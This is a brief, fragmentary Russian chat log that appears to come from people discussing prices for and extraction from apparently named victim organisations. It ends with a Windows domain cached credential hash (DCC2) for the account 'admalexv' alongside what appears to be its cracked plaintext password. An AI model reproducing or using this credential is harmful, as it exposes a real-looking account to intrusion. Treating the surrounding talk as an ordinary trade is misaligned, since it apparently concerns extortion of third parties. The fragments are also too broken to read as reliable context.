анлесс, ты хоть что-то хочешь с них снять

++

+

X 2024-03-04 в 17.10.43.jpg

```

по тру юк, до скольки?

как считаешь? 500:

?

такой же вопрос по антемпропертис

++

$DCC2$10240#admalexv#115e34b9a475c0662748dd2895168693:February2024